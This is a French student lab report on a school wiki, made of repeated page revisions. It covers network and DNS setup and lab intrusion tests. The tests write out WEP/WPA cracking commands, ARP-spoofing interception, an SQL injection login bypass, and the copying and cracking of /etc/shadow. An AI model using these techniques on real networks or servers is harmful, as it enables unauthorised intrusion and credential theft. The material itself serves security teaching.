Pour se faire soit on fait un petit programme générant toutes les combinaisons possibles, soit on se sert d'un outil de création de dictionnaire. Nous avons utilisé crunch avec la commande suivante:
crunch 8 8 0123456789 -o dictionnaire

Nous avons du attendre quelques heures avant que aircrack nous retourne la clef.

==5.4 Attaque de type "homme au milieu" par usurpation ARP (06/11/2020)==

N'ayant pas accès au eeePC (COVID19) on a créé deux machines virtuelles sur note machine personnelle pour simuler l'environement de TP.

[[Fichier:ARP1.png|1000px]]

On transforme la machine '''attacker''' en routeur:
attacker@attacker:~/ sysctl -w net.ipv4.ip_forward=1

Puis on lance l'empoisonnement du cache ARP de la victime:
attacker@attacker:~/ arpspoof -i enp0s3 -t 192.168.1.74 192.168.1.254

On peut vérifier que l'attaque a bien fonctionné en observant la table ARP de la victime:
victime@victime:~/ /arp
bbox.lan (192.168.1.254) at 08:00:27:34:f9:27
...
attacker (192.168.1.44) at 08:00:27:34:f9:27
L'adresse MAC de la passerelle par défaut (ma box internet dans ce cas) est la même que celle de la machine '''attacker'''

Lorsque la machine veut communiquer avec l'extérieur, elle passe donc automatiquement par la machine '''attacker''':
victime@victime:~/ traceroute 8.8.8.8
1 attacker (192.168.1.44) 0.456 ms 0.552 ms 0.537 ms
2 bbox.lan (192.168.1.254) 5.071 ms 5.053 ms 4.965 ms
...
9 dns.google (8.8.8.8) 13.306 ms 12.759 ms 12.551 ms

On lance wireshark sur '''attacker''' et on se connecte a un site http quelconque sur ''''victime'''. On peut voir transiter en claire les identifiants et mot de passes utilisés pour se connecter au site.

[[Fichier:ARP2.png|1000px]]

Même chose avec un logiciel de conversation instantanée non chiffré.

==5.5 Intrusion sur un serveur d’application Web (04/11/2020)==
===Injection SQL===
On se rend sur le site http://honey.plil.info. Etant donnée que le but est de s'introduire sur le serveur, on se doute que ce n'est pas l'application la plus sécurisée du monde: une simpl injection SQL pourais faire l'affaire pour obtenir une liste des identifiants de connexion. On renseigne donc les champs '''Identifiant''' et '''Mot de passe''' avec la valeure:
' OR 1 = 1 --
Bingo! L'application nous retourne un tableau avec des identifiant et mdp, on se connecter avec le profil '''admin'''

===Base de donnée===
En fouillant un peu sur l'interface web, on se rend compte qu'on a accés a un fichier '''config-db.php ''' (dans l'onglet '''Recherche d'un manuel'''). Ce dernier nous renseigne le mot de passe root d'abministration de la base de donnée. En se connectant à l'interface d'administration du serveur de BDD
http://honey.plil.info/phpmyadmin/ avec ce mot de passe, on accède au contenue des tables.

Une table en particulier nous interesse: '''users''' dans la base '''test''', puisqu'elle contient les identifiant de connexion ('''rex''')

===connexion au serveur===
On peut verifier que le serveur est bien accéssible a distance avec:
nmap -6 honey.plil.info
qui nous renseigne que les services http et ssh sont accéssible sur la machine.

On tente donc de se connecter en ssh avec les information récupérées dans la base de donnée.

On a accès a tous les fichier de configuration et nottament les informations sur les utilisateurs que l'on récupère:
scp /etc/passwd pifou@zabethXX:~/intrusion/passwd
scp /etc/shadow pifou@zabethXX:~/intrusion/shadow

===Cassage du mot de passe root===
Pour la suite, nous utilisons les commandes de l'utilitaire '''John the Ripper'''.
La commande suivante nous permet de voir les mots de passe chiffrés des utilisateurs.
unshadow ./passwd ./shadow | grep root > pass
On enregistre la clé de l'utilisateur '''root''' dans un fichier '''pass'''.

Comme nous savons que le mot de passe suis la meme logique que le mot de passe administrateur habituel des machines de projets, on suppose qu'il s'agit d'un répétition de 2 mot de 4 lettre: abcdabcd. On génere un dictionnaire qui permettera de casser le mot de passe chiffé.
crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico
sed -i 's/$.*$/\1\1/' dico

puis on lance le cassage:
/usr/sbin/john -w:dico pass

apres quelques minutes, le mot de passe est diponible en clair:
/usr/sbin/john --show pass

=Réalisations=

===6.1 Sécurisation de données===

===6.2 Chiffrement de données===

===6.3 Inspection ARP par un élément réseau===

===6.4 Sécurisation WiFi par WPA2-EAP===

TP sysres IMA5sc 2020/2021 G1

2020-11-30T13:48:33Z

Egury : /* 4.2 Serveur DNS (02/11/2020) */

TP PRA - Evan Gury & Vincent Dubois - trompettedelamort

Informations générales
----------------------
{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 1
| trompettedelamort.site
| Debian 10 Buster
| 301
| 100.64.0.28
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.188
|}

=2 Installation des systèmes d’exploitation (12/10/2020)=

ssh capbreton.plil.info
xen-create-image --hostname=trompettedelamort --ip=100.64.0.28 --gateway=100.64.0.2 --netmask=255.255.255.0 --dir=/usr/local/xen --password=pasglop --dist=buster

* Création des disques de stockage sur le serveur de virtualisation (pour tout les binômes):

Sur Capbreton:

** On réquisitionne les deux disques de 2,7To que l'on met dans un groupe

pvcreate /dev/sde
pvcreate /dev/sdf
vgcreate storage /dev/sde /dev/sdf

** On créer 2 partitions de 10Go pour chaque binôme:

lvcreate -L10G -n trompettedelamort1 storage
lvcreate -L10G -n trompettedelamort2 storage
...meme chose pour chaque groupe...

** On formate nos partitions:

mkfs.ext4 /dev/storage/trompettedelamort1
mkfs.ext4 /dev/storage/trompettedelamort2

* Modification du fichier de config de la VM (/etc/xen/trompettedelamort.cfg)
vif = ['bridge=IMA5sc, ip=100.64.0.84, ...']
et on indique quel disque utiliser:
disk = [
'file:/usr/local/xen/domains/trompettedelamort/disk.img,xvda2,w',
'file:/usr/local/xen/domains/trompettedelamort/swap.img,xvda1,w',
'phy:/dev/storage/trompettedelamort1,xvda3,w',
'phy:/dev/storage/trompettedelamort2,xvda4,w'
]

* Lancer la VM
xl create -c /etc/xen/trompettedelamort.cfg

Ensuite, sur la MV:

* Montage et peuplement des partitions:
mount /dev/xvda3 /mnt/xvda3
mount /dev/xvda4 /mnt/xvda4
mv /var/* /mnt/xvda4
# /home est vide donc rien a déplacer

puis on démonte:
umount /mnt/xvda3
umount /mnt/xvda4

* Modification du fichier /etc/fstab pour monter les répertoires '''var''' et '''home''' sur les partitions crées. On ajoute:
/dev/xvda3 /home /ext4 default 0 2
/dev/xvda4 /var /ext4 default 0 2

et on applique les modification du fichier fstab:
mount -a

=3 Architecture réseau=

==3.1 L’architecture générale (12/10/2020)==

La mise en service de l'infrastructure physique (démarrer les routeurs,connexions physiques entre eux et avec le routeur de l'école) a été principalement réalisés par le groupe 14.

==3.2 Les réseaux virtuels (12/10/2020)==

On créer deux VLAN:
* VLAN131 pour se connecter au routeur de l'école
* VLAN333 pour accéder aux machines virtuelles sur Capbreton

Cette partie a partiellement été réalisée par le groupe 14 lors de la première séances

==3.5 Interconnexion avec Internet IPv4(15/10/2020 & 02/11/2020)==

Le réseau utilisé pour ce TP est le 193.48.57.176/28 (cohabitation avec les IMA2A5 qui ont 193.48.57.160/27). Nous avons donc a notre disposition 16 adresses IP (193.48.57.176 à 193.48.57.191) parmi lesquelles nous devons réserver :
* 1 adresse pour le réseau
* 1 adresse de Broadcast
* 1 adresse pour le routeur 1 (6509-E)
* 1 adresse pour le routeur 2 (9200)
* 1 adresse flottante pour les routeurs (redondance)
Ce qui nous laisse 11 adresses disponibles pour 13 groupes...Impossible

L'idée est donc de créer un sous réseau 10.64.0.16/28 et de faire de de la Translation d'adresse (NAT) vers 193.48.57.176/28
Nous économisons ainsi les adresses des routeurs et de diffusion qui n'ont pas besoin d’être translatées.

===OSPF===
L'OSPF permet aux routeurs dans un même domaine d'échanger des informations sur le réseau. Cela permet aux différents routeurs voisins d'avoir de meilleur tables de routages. On réalise donc cette étape sur les deux routeurs pour qu'ils s'echanges leurs tables entre eux mais également avec le routeur de l'école

'''6509-E'''

ip route 193.48.57.176 255.255.255.0 null0 #Ajout d'une route vers le routeur pour pouvoir ping directement à partir du routeur

router ospf 1 # un numéro de processus
router-id 10.60.0.101 # un id pour le routeur (plus petite adresse disponible)
log-adjacency-changes
summary-address 193.48.57.176 255.255.255.240 # adresse que l'on souhaite diffuser aux voisins (addresse du VLAN 333)
summary-address 100.60.0.0 255.240.0.0 not-advertise # address q'on veut pas diffuser (celle du reseau privé)
summary-address 10.0.0.0 255.0.0.0 not-advertise # address q'on veut pas diffuser (?)
redistribute connected subnets # autorise la diffusion pour les nouveaux réseaux qui peuvent être connectés
redistribute static subnets
network 192.168.222.8 0.0.0.7 area 2 # domaine de diffusion OSPF (Attention au masque inversé)

On peut vérifier le bon fonctonnement avec un ping vers l'adresse globale routeur de l'école
ping 193.48.57.48

De plus, on constate de nouvelles routes partagé par le routeur de l'école ("O" au début de la ligne)
show ip route

'''9200'''
On fait la meme chose en changeant le router-id : 10.60.0.102

===NAT===
On cherche à réaliser une translation d'IP (NAT static) et non une mascarade (injection = NAT Dynamic)
ip nat inside source static network 100.64.0.16 193.48.57.176 /28
Cela permet d'associer les adresse non routées de 100.64.0.16 à 100.64.0.28 aux adresse routées de 193.48.57.176 à 193.48.57.188
Il faut ensuite indiquer ques sont les VLAN concernés par la translation:
int vlan 131
ip nat outside
exit
int vlan 333
ip nat inside
exit

===Problème association OSPF et NAT===
Il semblerait que l'association de l'OSPF et du NAT soit plus complexe que prévu: les deux fonctionnent bien indépendamment mais pas ensemble. En effet, l'OSPF n'annonce pas les routes vers 100.64.0.16/28 donc aucune communication vers l'exterieur n'est possible.

Pour palier à ce problème, on déclare 100.64.0.0/24 sur VLAN333 et annonce manuellement les routes entre 193.48.57.176 et 100.640.16 (plus de NAT).
La configuration du 9200 a été faite par M. Redon, on s'occupe du 6509-E :
boot
enable
conf t
int vlan 333
no ip address 193.48.57.161 255.255.255.224 #on enleve l'ancienne ip routée
ip address 100.64.0.1 255.255.255.0
exit
exit
write

on modifie également l'identifiant de l'ospf 1 qui était en conflit avec celui des IMA2A5:
router ospf 1
router-id 10.60.100.1

Enfin, on ajoute la route vers notre MV à la main:

ip route 193.48.57.188 255.255.255.255 100.64.0.28

Puis on configure notre machine virtuelle de manière a ce qu'elle ait les deux IP (100.64.0.28 et 193.48.57.188)(cf. partie suivante).

Les paquets venant de l'extérieur sont propagé à destination de 193.48.57.188 au routeur (6509-E ou 9200) puis vers 100.64.0.28 sur le VLAN333 suivant la route indiquée précédemment. Les paquets émis par notre machine virtuelle sont transmis à la passerelle par défaut (100.64.0.1 si 6509-E ou 100.64.0.2 si 9200) (comme spécifié avec le mot clé "src" lors de l'établissement des routes) puis le routeur connait les routes pour sortir en passant par le routeur de l'école.

==3.6 Interconnexion avec Internet (IPv6)(02/11/2020)==
Le groupe 14 c'est occupé de configurer le vlan333 pour qu'il utilise des ipv6

On crée le VLAN301 pour notre domaine:

* '''sur 6509-E'''
conf t
vlan 301
name trompettedelamort
exit
int vlan 301
no shutdown
ip address 10.60.101.1 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60b3::0/64 eui-64
ipv6 nd prefix 2001:660:4401:60b3::0/64 1000 900
ipv6 nd router-preference High #car routeur principale

* '''sur 6509-E'''
conf t
vlan 301
name trompettedelamort
exit
int vlan 301
no shutdown
ip address 10.60.101.2 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60b3::0/64 eui-64
ipv6 nd prefix 2001:660:4401:60b3::0/64 1000 900
ipv6 nd router-preference Low

Annonce de route avec RIP fait par groupe 14

==3.7 Sécurisation du réseau (02/11/2020)==
En partenariat avec le groupe 14.
Attention la syntaxe est différente entre le 9200 et le 6509-E
On configure la redondance avec l'adresse flottante pour les VLAN333 et VLAN1 ainsi que pour le notre VLAN301.
'''6509-E'''
conf t
int vlan 333
vrrp 33 ip 100.64.0.254 # adresse flottante des routeur dans vlan333
vrrp 33 preemt # priorité au routeur qui a une priorité supérieur
vrrp 33 priority 110 # priorité supérieur a celle du 9200
exit
int vlan 301
vrrp 31 ip 10.60.100.254 # adresse flottante des routeur dans vlan333
vrrp 31 preemt # priorité au routeur qui a une priorité supérieur
vrrp 31 priority 110 # priorité supérieur a celle du 9200
exit
int vlan 301
vrrp 41 ip 10.60.101.254 # adresse flottante des routeur dans notre vlan
vrrp 41 preemt
vrrp 41 priority 110
exit
exit
write

'''9200'''
conf t
int vlan 333
vrrp 33 address-family ipv4
priority 100
address 100.64.0.254
preemt
exit
int vlan 1
vrrp 31 address-family ipv4
priority 100
address 10.60.100.254
preemt
exit
int vlan 301
vrrp 41 address-family ipv4
priority 100
address 10.60.101.254
preemt
exit
exit
write

==3.8 Interconnexion Internet de secours (IPv4) (16/11/2020)==
(En collaboration avec le groupe 14)

On connecte physiquement l'ISR au SDSL: Dans le local technique SR52, on repere sur quel port est branché le l'ÍSR pour le mettre dans le VLAN 531
conf t
int Gi0/37
switchport mode access
switchport access vlan 531
exit
exit
write

Sur l'ISR:
* On creer le vlan 531:
conf t
vlan 531

==3.9 Interconnexion Internet de secours (IPv6) (pas encore fait)==

=4 Services Internet=

==Connexion a internet (02/11/2020)==

Afin de mettre internet sur nos machines il faut au préalable modifier le fichier /etc/network/interfaces de nos VM:
# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.188
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.28/24
up ip route add default via 100.64.0.2 src 193.48.57.188
down ip address del dev eth0 100.64.0.28/24
down ip route del default via 100.64.0.2 src 193.48.57.188

L'adresse 193.48.57.188 correspond à notre adressé routée, l'adresse 100.64.0.28 est notre adresse sur le vlan333 et l'adresse 100.64.0.2 est l'adresse du routeur/commutateur 9200 sur le vlan333.

Il faut ensuite ajouter la route sur le 9200 pour notre VM. Pour se faire on se connecte en ssh sur la zabeth09:
ssh pifou@zabet09.plil.info
Et ensuite via minicom:
minicom -os /dev/ttyACM0
On rentre la commande suivante (apres avoir fait enable et conf t au préalable):
ip route 193.48.57.188 255.255.255.255 100.64.0.28

Nous avons désormais accès à internet sur nos VM et nous pouvons donc maintenant installer bind9 et configurer notre DNS.

==4.1 Serveur SSH (02/11/2020)==
Le service SSH était activé par defaut.
Il faut juste autoriser la connexion en root dans le fichier /etc/ssh/sshd_config
PermitRootLogin yes

puis systemctl restart sshd

et on peut se connecter a notre vm
ssh root@193.48.57.188

==4.2 Serveur DNS (02/11/2020)==

Pour commencer dans le fichier de configuration /etc/resolv.conf nous avons mis comme adresse de serveur de nom
127.0.0.1

Dans /etc/bind/named.conf.local, en suivant le cours nous avons modifié et/ou ajouté:
options{
directory "/var/cache/bind";
listen-on-v6 { any; };
allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
217.70.177.40/32 ;
};

Ensuite avec bind9 nous avons pu configurer notre serveur de nom.
Dans le fichier /etc/bind/named.conf.local nous avons défini notre zone "trompettedelamort.site":
zone "trompettedelamort.site" IN {
type master;
file "/etc/bind/db.trompettedelamort.site";
allow-transfer { 217.70.177.40;};
};

Puis nous avons configuré le fichier db.trompettedelamort.site. Pour se faire nous avons pris le fichier par defaut db.local que nous avons copié puis modifié:
zone "trompettedelamort.site" IN {
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.trompettedelamort.site. postmaster.trompettedelamoo
rt.site(
4 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.trompettedelamort.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.188

Enfin sur gandi.net nous avons crée un glue record dans lequel nous avons mis l'adresse ip de notre machine virtuelle puis nous avons ajouté dans Nameservers.
ns6.gandi.net possedant déjà son glue record, nous avons simplement ajouté ce dernier dans Nameservers.

==4.3 Sécurisation de site web par certificat (16/11/2020)==

La documentation de ce point est disponible sur demande en contactant un membre du binôme.

===Verifications===
https://www.trompettedelamort.site

==4.4 Sécurisation de serveur DNS par DNSSEC (16/11/2020)==

La configuration a été réalisé en suivant les instructions dans le sujet de TP rubrique : 4.4 Sécurisation de serveur DNS par DNSSEC

Premièrement nous avons modifié le ficher named.conf.options pour y ajouter l'options suivantes:
dnssec-enable yes

Nous avons ensuite crée un repertoir trompettedelamort.dnssec afin d'y générer les clefs. Nous devons générer une paire de clef KSK et une paire de clef ZSK.

Pour créer la paire de clef KSK, nous utilisons la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE trompettedelamort.site

Et pour la paire de clef ZSK, nous utilisons la commande suivante:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE trompettedelamort.site

Nous renommons ces paires avec comme prefixe trompettedelamort.site et comme suffice -zsk pour la paire zsk et -ksk pour la paire ksk et nous terminon avec .key pour les clefs publiques et .private pour les clefs privées.

Ensuite dans notre fichier zone db.trompettedelamort.site nous ajoutons les lignes suivantes sans oublier d'incrémenter le Serial:
$include /etc/bind/trompettedelamort.dnssec/trompettedelamort-ksk.key
$include /etc/bind/trompettedelamort.dnssec/trompettedelamort-zsk.key

Le fichier db.trompettedelamort.site ressemble donc à cela:
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns1.trompettedelamort.site. postmaster.trompettedelamort.site.(

8 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.trompettedelamort.site.
@ IN NS ns6.gandi.net.
@ IN MX 100 ns1.trompettedelamort.site.
ns1 IN A 193.48.57.188
www IN A 193.48.57.188
$include /etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-ksk.key
$include /etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-zsk.key

Nous signons ensuite les enregristrement de la zone avec la commande suivante:
dnssec-signzone -o trompettedelamort.site -k trompettedelamort.site-ksk ../db.trompettedelamort.site trompettedelamort.site-zsk
Ce qui a pour effet de générer un fichier zone "db.trompettedelamort.site.signed"

Nous n'avons donc plus qu'a remplacer db.trompettedelamort.site par db.trompettedelamort.site.signed dans le fichier named.conf.local:
root@trompettedelamort:~# cat /etc/bind/named.conf.local
//
// Do any local configuration here
zone "trompettedelamort.site" IN {
type master;
file "/etc/bind/db.trompettedelamort.site.signed";
allow-transfer { 217.70.177.40;};
};
// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";

Pour finir il ne reste plus qu'a fournir la clef publique de la clef KSK à gandi.net. Pour se faire il faut se rendre dans "DNSSEC" puis dans "Add an external key", choisir KSK et "RSA/SHA-1" et renseigner la clef se trouvant dans
/etc/bind/trompettedelamort.site.dnssec/trompettedelamort.site-ksk.key

On vérifie avec la commande suivante:
dnssec-verify -o trompettedelamort.site db.trompettedelamort.site.signed

Qui nous renvoie ce résultat:
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked
../db.trompettedelamort.site.signed

=Tests d’intrusion=

==5.1 Exploitation de failles du système (en cours)==

==5.2 Cassage de clef WEP d’un point d’accès WiFi (15/10/2020)==

Avec le packetage aircrack-ng il est possible de casser une clef wep.

Pour se faire on récupère le nom de de notre interface WiFi et son adresse MAC avec :
iwconfig

Ensuite pour analyser les packets WiFi qui circulent sur le réseau on se sert de la commande:
airodump-ng nomDeMaCarte
Se faisant, l'interface se met automatiquement en mode monitor.

Il faut ensuite tester le Point d'accés avec une injection test:
aireplay-ng -9 -e nomPA -a MACPA nomDeMaCarte
-9 permet de réaliser un test.

Pour casser la clef WEP, l'algorithme nécessite le plus de vecteur d'initialisation possible. Pour récupérer ces derniers on se sert de la commande suivante:
airodump-ng -c 3 --bssid MACPA -w output nomDeMaCarte
-c 3 correspond au canal sur lequel émet notre PA, et output sera le fichier contenant tous les vecteurs d'initialisations.

Pour accélérer l'acquisition de vecteurs d'initialisations,nous allons récupérer tous les paquets ARP émis par le PA et les réinjecter. A chaque réinjection les PA génère un nouveau vecteur d'initialisation, cette technique permet d'accélérer la collecte des vecteurs.

Pour permettre l'injection de paquet ARP dans le PA il faut d'abord associer la carte et le PA:
aireplay-ng 1 0 -e nomPA -a MACPA -h MACcarte nomDeMaCarte
-1 correspond à une fausse authentification et 0 au délais de réassociation.

Une fois que nous avons collecté suffisament de vecteurs nous pouvons lancer l'algorithme de cassage:
aircrack-ng -b MACPA output*.cap

==5.3 Cassage de mot de passe WPA-PSK par force brute (02/11/2020)==

On commence par mettre l'interface WiFi en mode monitor:
airmon-ng start maCarte

Ensuite on lance une écoute généralisée des trames WiFi qui circulent:
airodump-ng maCarte

A partir de là on peut récupérer le BSSID, L'ESSID et le canal utilisé par le PA qui nous intéresse, nous avons pris la kracotte03.

Puis pour cibler la recherche on lance la commande suivante:
airodump-ng -c 3 --bssid MACPA -w psk maCarte

A partir de la on attend un handshake (émis lors de la connexion d'un utilisateur au PA).

Une fois le handshake récupéré il n'y a plus qu'a lancer l'algorithme pour casser la PSK:
aircrack-ng -w dictionnaire -b MACPA psk*.cap

Il faut au préalable avoir un dictionnaire contenant toutes les combinaisons qui nous intéressent, dans notre un cas il nous faut toutes les combinaisons possibles sur 8bits en décimale.
Pour se faire soit on fait un petit programme générant toutes les combinaisons possibles, soit on se sert d'un outil de création de dictionnaire. Nous avons utilisé crunch avec la commande suivante:
crunch 8 8 0123456789 -o dictionnaire

Nous avons du attendre quelques heures avant que aircrack nous retourne la clef.

==5.4 Attaque de type "homme au milieu" par usurpation ARP (06/11/2020)==

N'ayant pas accès au eeePC (COVID19) on a créé deux machines virtuelles sur note machine personnelle pour simuler l'environement de TP.

[[Fichier:ARP1.png|1000px]]

On transforme la machine '''attacker''' en routeur:
attacker@attacker:~/ sysctl -w net.ipv4.ip_forward=1

Puis on lance l'empoisonnement du cache ARP de la victime:
attacker@attacker:~/ arpspoof -i enp0s3 -t 192.168.1.74 192.168.1.254

On peut vérifier que l'attaque a bien fonctionné en observant la table ARP de la victime:
victime@victime:~/ /arp
bbox.lan (192.168.1.254) at 08:00:27:34:f9:27
...
attacker (192.168.1.44) at 08:00:27:34:f9:27
L'adresse MAC de la passerelle par défaut (ma box internet dans ce cas) est la même que celle de la machine '''attacker'''

Lorsque la machine veut communiquer avec l'extérieur, elle passe donc automatiquement par la machine '''attacker''':
victime@victime:~/ traceroute 8.8.8.8
1 attacker (192.168.1.44) 0.456 ms 0.552 ms 0.537 ms
2 bbox.lan (192.168.1.254) 5.071 ms 5.053 ms 4.965 ms
...
9 dns.google (8.8.8.8) 13.306 ms 12.759 ms 12.551 ms

On lance wireshark sur '''attacker''' et on se connecte a un site http quelconque sur ''''victime'''. On peut voir transiter en claire les identifiants et mot de passes utilisés pour se connecter au site.

[[Fichier:ARP2.png|1000px]]

Même chose avec un logiciel de conversation instantanée non chiffré.

==5.5 Intrusion sur un serveur d’application Web (04/11/2020)==
===Injection SQL===
On se rend sur le site http://honey.plil.info. Etant donnée que le but est de s'introduire sur le serveur, on se doute que ce n'est pas l'application la plus sécurisée du monde: une simpl injection SQL pourais faire l'affaire pour obtenir une liste des identifiants de connexion. On renseigne donc les champs '''Identifiant''' et '''Mot de passe''' avec la valeure:
' OR 1 = 1 --
Bingo! L'application nous retourne un tableau avec des identifiant et mdp, on se connecter avec le profil '''admin'''

===Base de donnée===
En fouillant un peu sur l'interface web, on se rend compte qu'on a accés a un fichier '''config-db.php ''' (dans l'onglet '''Recherche d'un manuel'''). Ce dernier nous renseigne le mot de passe root d'abministration de la base de donnée. En se connectant à l'interface d'administration du serveur de BDD
http://honey.plil.info/phpmyadmin/ avec ce mot de passe, on accède au contenue des tables.

Une table en particulier nous interesse: '''users''' dans la base '''test''', puisqu'elle contient les identifiant de connexion ('''rex''')

===connexion au serveur===
On peut verifier que le serveur est bien accéssible a distance avec:
nmap -6 honey.plil.info
qui nous renseigne que les services http et ssh sont accéssible sur la machine.

On tente donc de se connecter en ssh avec les information récupérées dans la base de donnée.

On a accès a tous les fichier de configuration et nottament les informations sur les utilisateurs que l'on récupère:
scp /etc/passwd pifou@zabethXX:~/intrusion/passwd
scp /etc/shadow pifou@zabethXX:~/intrusion/shadow

===Cassage du mot de passe root===
Pour la suite, nous utilisons les commandes de l'utilitaire '''John the Ripper'''.
La commande suivante nous permet de voir les mots de passe chiffrés des utilisateurs.
unshadow ./passwd ./shadow | grep root > pass
On enregistre la clé de l'utilisateur '''root''' dans un fichier '''pass'''.

Comme nous savons que le mot de passe suis la meme logique que le mot de passe administrateur habituel des machines de projets, on suppose qu'il s'agit d'un répétition de 2 mot de 4 lettre: abcdabcd. On génere un dictionnaire qui permettera de casser le mot de passe chiffé.
crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico
sed -i 's/$.*$/\1\1/' dico

puis on lance le cassage:
/usr/sbin/john -w:dico pass

apres quelques minutes, le mot de passe est diponible en clair:
/usr/sbin/john --show pass

=Réalisations=

===6.1 Sécurisation de données===

===6.2 Chiffrement de données===

===6.3 Inspection ARP par un élément réseau===

===6.4 Sécurisation WiFi par WPA2-EAP===

TP sysres IMA5sc 2020/2021 G1

2020-11-30T13:48:18Z

Egury : /* 4.2 Serveur DNS (02/11/2020) */

TP PRA - Evan Gury & Vincent Dubois - trompettedelamort

Informations générales
----------------------
{| class="wikitable"
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)
|-
| Groupe 1
| trompettedelamort.site
| Debian 10 Buster
| 301
| 100.64.0.28
| 255.255.255.0
| 100.64.0.254
| 100.64.0.1
| 100.64.0.2
| 193.48.57.188
|}

=2 Installation des systèmes d’exploitation (12/10/2020)=

ssh capbreton.plil.info
xen-create-image --hostname=trompettedelamort --ip=100.64.0.28 --gateway=100.64.0.2 --netmask=255.255.255.0 --dir=/usr/local/xen --password=pasglop --dist=buster

* Création des disques de stockage sur le serveur de virtualisation (pour tout les binômes):

Sur Capbreton:

** On réquisitionne les deux disques de 2,7To que l'on met dans un groupe

pvcreate /dev/sde
pvcreate /dev/sdf
vgcreate storage /dev/sde /dev/sdf

** On créer 2 partitions de 10Go pour chaque binôme:

lvcreate -L10G -n trompettedelamort1 storage
lvcreate -L10G -n trompettedelamort2 storage
...meme chose pour chaque groupe...

** On formate nos partitions:

mkfs.ext4 /dev/storage/trompettedelamort1
mkfs.ext4 /dev/storage/trompettedelamort2

* Modification du fichier de config de la VM (/etc/xen/trompettedelamort.cfg)
vif = ['bridge=IMA5sc, ip=100.64.0.84, ...']
et on indique quel disque utiliser:
disk = [
'file:/usr/local/xen/domains/trompettedelamort/disk.img,xvda2,w',
'file:/usr/local/xen/domains/trompettedelamort/swap.img,xvda1,w',
'phy:/dev/storage/trompettedelamort1,xvda3,w',
'phy:/dev/storage/trompettedelamort2,xvda4,w'
]

* Lancer la VM
xl create -c /etc/xen/trompettedelamort.cfg

Ensuite, sur la MV:

* Montage et peuplement des partitions:
mount /dev/xvda3 /mnt/xvda3
mount /dev/xvda4 /mnt/xvda4
mv /var/* /mnt/xvda4
# /home est vide donc rien a déplacer

puis on démonte:
umount /mnt/xvda3
umount /mnt/xvda4

* Modification du fichier /etc/fstab pour monter les répertoires '''var''' et '''home''' sur les partitions crées. On ajoute:
/dev/xvda3 /home /ext4 default 0 2
/dev/xvda4 /var /ext4 default 0 2

et on applique les modification du fichier fstab:
mount -a

=3 Architecture réseau=

==3.1 L’architecture générale (12/10/2020)==

La mise en service de l'infrastructure physique (démarrer les routeurs,connexions physiques entre eux et avec le routeur de l'école) a été principalement réalisés par le groupe 14.

==3.2 Les réseaux virtuels (12/10/2020)==

On créer deux VLAN:
* VLAN131 pour se connecter au routeur de l'école
* VLAN333 pour accéder aux machines virtuelles sur Capbreton

Cette partie a partiellement été réalisée par le groupe 14 lors de la première séances

==3.5 Interconnexion avec Internet IPv4(15/10/2020 & 02/11/2020)==

Le réseau utilisé pour ce TP est le 193.48.57.176/28 (cohabitation avec les IMA2A5 qui ont 193.48.57.160/27). Nous avons donc a notre disposition 16 adresses IP (193.48.57.176 à 193.48.57.191) parmi lesquelles nous devons réserver :
* 1 adresse pour le réseau
* 1 adresse de Broadcast
* 1 adresse pour le routeur 1 (6509-E)
* 1 adresse pour le routeur 2 (9200)
* 1 adresse flottante pour les routeurs (redondance)
Ce qui nous laisse 11 adresses disponibles pour 13 groupes...Impossible

L'idée est donc de créer un sous réseau 10.64.0.16/28 et de faire de de la Translation d'adresse (NAT) vers 193.48.57.176/28
Nous économisons ainsi les adresses des routeurs et de diffusion qui n'ont pas besoin d’être translatées.

===OSPF===
L'OSPF permet aux routeurs dans un même domaine d'échanger des informations sur le réseau. Cela permet aux différents routeurs voisins d'avoir de meilleur tables de routages. On réalise donc cette étape sur les deux routeurs pour qu'ils s'echanges leurs tables entre eux mais également avec le routeur de l'école

'''6509-E'''

ip route 193.48.57.176 255.255.255.0 null0 #Ajout d'une route vers le routeur pour pouvoir ping directement à partir du routeur

router ospf 1 # un numéro de processus
router-id 10.60.0.101 # un id pour le routeur (plus petite adresse disponible)
log-adjacency-changes
summary-address 193.48.57.176 255.255.255.240 # adresse que l'on souhaite diffuser aux voisins (addresse du VLAN 333)
summary-address 100.60.0.0 255.240.0.0 not-advertise # address q'on veut pas diffuser (celle du reseau privé)
summary-address 10.0.0.0 255.0.0.0 not-advertise # address q'on veut pas diffuser (?)
redistribute connected subnets # autorise la diffusion pour les nouveaux réseaux qui peuvent être connectés
redistribute static subnets
network 192.168.222.8 0.0.0.7 area 2 # domaine de diffusion OSPF (Attention au masque inversé)

On peut vérifier le bon fonctonnement avec un ping vers l'adresse globale routeur de l'école
ping 193.48.57.48

De plus, on constate de nouvelles routes partagé par le routeur de l'école ("O" au début de la ligne)
show ip route

'''9200'''
On fait la meme chose en changeant le router-id : 10.60.0.102

===NAT===
